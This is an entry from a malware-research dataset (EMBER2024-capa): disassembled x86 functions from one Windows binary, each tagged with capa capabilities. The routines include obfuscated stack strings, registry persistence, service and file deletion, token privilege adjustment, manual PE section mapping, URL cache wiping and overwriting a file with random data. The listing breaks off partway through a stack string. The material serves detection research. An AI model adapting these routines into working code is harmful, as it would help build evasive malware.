joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403b99
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 4], eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp - 0x30]
add ecx, 0x120
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x20], 0x9c
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
push 4
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x1f]
push eax
mov ecx, dword [0x42aa54]
call fcn.00407345
push 4
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1b]
push edx
mov ecx, dword [0x42aa54]
call fcn.00407345
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push 9
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x30]
call fcn.00406345
mov esp, ebp
pop ebp
ret 8

Function at 0x403c80
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
push 0
push 0x80
push 3
push 0
push 0
push closesocket
mov eax, dword [ebp - 0x20]
add eax, 0x120
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x403cc7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
call fcn.00403d4c
jmp 0x403d46
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x18], 0x9e
push 4
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x17]
push eax
mov ecx, dword [0x42aa54]
call fcn.00407345
push 4
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x13]
push edx
mov ecx, dword [0x42aa54]
call fcn.00407345
push 4
push 0x42af64
lea eax, [ebp - 0xf]
push eax
mov ecx, dword [0x42aa54]
call fcn.00407345
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xd
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.00406345
mov esp, ebp
pop ebp
ret 4
Function at 0x404838
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x50
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [str.Plugin32.dll]
push edx
call fcn.0040415c
add esp, 0xc
mov dword [0x42b0a0], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40489e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x57
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], 0x6f
mov byte [ebp - 4], 0x77
mov byte [ebp - 3], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [str.Plugin32.dll]
push edx
call fcn.0040415c
add esp, 0xc
mov dword [0x42b0a0], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x404bae
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str.RegCreateKeyA
push 0x4112a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push str.SYSTEMSetup
push closesocket
call dword [ebp - 4]
test eax, eax
jne 0x404c0a
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 8]
push edx
push 1
push 0
push str.Host
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.RegCloseKey
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4051f7
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], 0x40e78c
mov dword [ebp - 4], 0
jmp 0x40521b
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x9f58]
jae 0x405255
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405212
mov ecx, dword [ebp - 8]
call fcn.004062fe
mov esp, ebp
pop ebp
ret
Function at 0x4060ca
Capabilities:
Delete file
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 4], str.Jbrjar_Kbskb
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
push 0xf01ff
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [str.Plugin32.dll]
push eax
call fcn.00404017
add esp, 4
push 0x42af98
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.0040bf02
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x406182
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x18], 1
mov byte [ebp - 0x2c], 0x4f
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x6b
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0
lea eax, [ebp - 0x2c]
push eax
push 0x4113c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x30]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 4]
test eax, eax
jne 0x40620f
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
jmp 0x406267
mov dword [ebp - 0x14], 1
mov edx, dword [ebp + 0xc]
neg edx
sbb edx, edx
and edx, 2
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40625a
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 8
Function at 0x40668a
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x24], ecx
push 0x411464
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x38], 0x56
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x75
mov byte [ebp - 0x33], 0x61
mov byte [ebp - 0x32], 0x6c
mov byte [ebp - 0x31], 0x41
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x63
mov byte [ebp - 0x2c], 0
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x44], 0x4d
mov byte [ebp - 0x43], 0x53
mov byte [ebp - 0x42], 0x56
mov byte [ebp - 0x41], 0x43
mov byte [ebp - 0x40], 0x52
mov byte [ebp - 0x3f], 0x54
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x64
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 0
mov byte [ebp - 0xc], 0x6d
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x6d
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x74
mov byte [ebp - 6], 0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 0x14]
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0
jmp 0x40677e
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x28
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 0x28], edx
jge 0x40682c
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x10], 0
jne 0x4067e0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x38]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jle 0x4067de
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx + 0xc]
push edx
call dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [ebp - 4]
add esp, 0xc
jmp 0x40676c
push 4
push 0x1000
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
add ecx, dword [eax + 0xc]
push ecx
call dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x42aa54]
call fcn.00407345
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 8], edx
jmp 0x40676c
mov esp, ebp
pop ebp
ret
Function at 0x408778
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x14], ecx
mov dl, byte [ebp + 0x20]
mov byte [ebp - 0x10], dl
push 0x411618
push 0x411628
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
call dword [ebp - 4]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x18]
push edx
push 0x408670
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 8], eax
push 0x411638
push 0x41164c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 0xc]
push edx
call dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x40a39c
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push edi
push 0x410cac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
xor eax, eax
mov ax, word [0x41092e]
test eax, eax
jne 0x40a3c5
jmp 0x40a521
xor ecx, ecx
mov cx, word [0x41092e]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shl edx, 0xa
mov dword [ebp - 0x10], edx
push 0x410cbc
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x40a413
jmp 0x40a521
push 2
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
shl ecx, 0xa
cmp ecx, dword [ebp - 0xc]
jbe 0x40a517
mov dword [ebp - 0x41c], 0
mov byte [ebp - 0x418], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x417]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x420], 0
jmp 0x40a47f
mov edx, dword [ebp - 0x420]
add edx, 1
mov dword [ebp - 0x420], edx
mov eax, dword [ebp - 0x420]
cmp eax, dword [ebp - 0x10]
jae 0x40a517
mov eax, dword [ebp - 0x420]
xor edx, edx
mov ecx, 0x400
div ecx
test edx, edx
jne 0x40a4f3
mov dword [ebp - 0x424], 0
jmp 0x40a4bc
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 0x400
jge 0x40a4f3
mov ecx, dword [0x42aa54]
call fcn.0040788b
add eax, dword [ebp - 0x424]
movsx eax, al
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x424]
mov byte [ebp + eax - 0x418], dl
jmp 0x40a4ad
push 0
lea ecx, [ebp - 0x41c]
push ecx
push 0x400
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40a470
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40a56b
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40946f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x272c
call fcn.004090b0
lea ecx, [ebp - 0x2728]
call fcn.0040900a
mov dword [ebp - 4], 0
push 0x2710
push 0
lea eax, [ebp - 0x271c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x2728]
call fcn.0040902e
push 0x5c
lea ecx, [ebp - 0x2728]
call sub.MFC42.DLL_CString::operator
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x2728]
call sub.MFC42.DLL_CString::operator_1
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
lea ecx, [ebp - 0x2728]
call fcn.00403770
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x272c], eax
cmp dword [ebp - 0x272c], 0xffffffff
jne 0x40a63a
mov dword [ebp - 0x2734], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2728]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x2734]
jmp 0x40a73e
push 0
mov eax, dword [ebp - 0x272c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2724], eax
mov ecx, dword [ebp - 0x2724]
sub ecx, 0x40
mov dword [ebp - 0x2724], ecx
push 0
push 0
push 0x40
mov edx, dword [ebp - 0x272c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [ebp - 0x2724], 0
jbe 0x40a70f
cmp dword [ebp - 0x2724], 0x2710
jbe 0x40a6bf
push 0
lea eax, [ebp - 0x2720]
push eax
push 0x2710
lea ecx, [ebp - 0x271c]
push ecx
mov edx, dword [ebp - 0x272c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x2724]
sub eax, 0x2710
mov dword [ebp - 0x2724], eax
jmp 0x40a70a
push str.WriteFile
push 0x410cd4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2730], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x2720]
push ecx
mov edx, dword [ebp - 0x2724]
push edx
lea eax, [ebp - 0x271c]
push eax
mov ecx, dword [ebp - 0x272c]
push ecx
call dword [ebp - 0x2730]
jmp 0x40a70f
jmp 0x40a671
mov edx, dword [ebp - 0x272c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x2738], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2728]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x2738]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40aa4b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 8], 0
mov dword [ebp - 0x2c], 0
push str.FindNextUrlCacheEntryA
push 0x410d78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x55
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x68
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x24]
push eax
push 0x410d84
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
call dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x28]
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
push 0
call dword [ebp - 4]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40ab37
jmp 0x40ac11
push str.DeleteUrlCacheEntryA
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
cmp dword [ebp + 8], 0
jne 0x40ab73
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0xc]
and ecx, 0x100000
test ecx, ecx
jne 0x40ab73
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 0x34]
jmp 0x40ab93
cmp dword [ebp + 8], 1
jne 0x40ab93
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0xc]
and edx, 0x100000
test edx, edx
je 0x40ab93
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 4]
push ecx
call dword [ebp - 0x34]
mov dword [ebp - 0x28], 0
lea edx, [ebp - 0x28]
push edx
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x28]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], ecx
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [ebp - 0x30]
test eax, eax
jne 0x40ab37
mov dword [ebp - 8], 1
cmp dword [ebp - 0x2c], 0
je 0x40ac0c
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x40ac13
jmp 0x40abf4
mov esp, ebp
pop ebp
ret
Function at 0x40ac17
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4094b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x4b234
call fcn.004090b0
push edi
push 0
call fcn.0040aa4b
add esp, 4
push 0
push 0x20
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x40ac6e
push 0
push 0
lea ecx, [ebp - 0x228]
push ecx
call fcn.0040a74c
add esp, 0xc
mov byte [ebp - 0x110], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp + 8]
push edx
push str.http:__users.qzone.qq.com_fcg_bin_cgi_get_portrait.fcg_uins_s
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov byte [ebp - 0x4b230], 0
mov ecx, 0x12bff
xor eax, eax
lea edi, [ebp - 0x4b22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x230]
call fcn.0040900a
mov dword [ebp - 4], 0
mov dword [ebp - 0x22c], 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x124]
call sub.MFC42.DLL_CInternetSession::CInternetSession
mov byte [ebp - 4], 1
mov dword [ebp - 0x4b234], 0
push 0
push 0
push 1
push 1
lea ecx, [ebp - 0x110]
push ecx
lea ecx, [ebp - 0x124]
call sub.MFC42.DLL_CInternetSession::OpenURL
mov dword [ebp - 0x4b234], eax
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x4b234]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4b234]
call dword [edx + 0x60]
test eax, eax
je 0x40adec
push 0
lea ecx, [ebp - 0x230]
call sub.MFC42.DLL_CString::GetBuffer
push eax
lea eax, [ebp - 0x4b230]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x410df4
lea ecx, [ebp - 0x4b230]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40ade7
push str.__0_
lea edx, [ebp - 0x4b230]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x4b238], eax
mov eax, dword [ebp - 0x4b238]
mov byte [eax], 0
push 0x410e00
lea ecx, [ebp - 0x4b230]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
add eax, 3
mov dword [ebp - 0x22c], eax
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x4b23c], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x124]
call fcn.00409034
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x4b23c]
jmp 0x40ae1f
jmp 0x40ad1a
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x4b240], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x124]
call fcn.00409034
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x4b240]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40bf02
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push 0x410e74
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
push str.GetSystemDirectoryA
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x104
lea ecx, [ebp - 0x118]
push ecx
call dword [ebp - 4]
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x2e
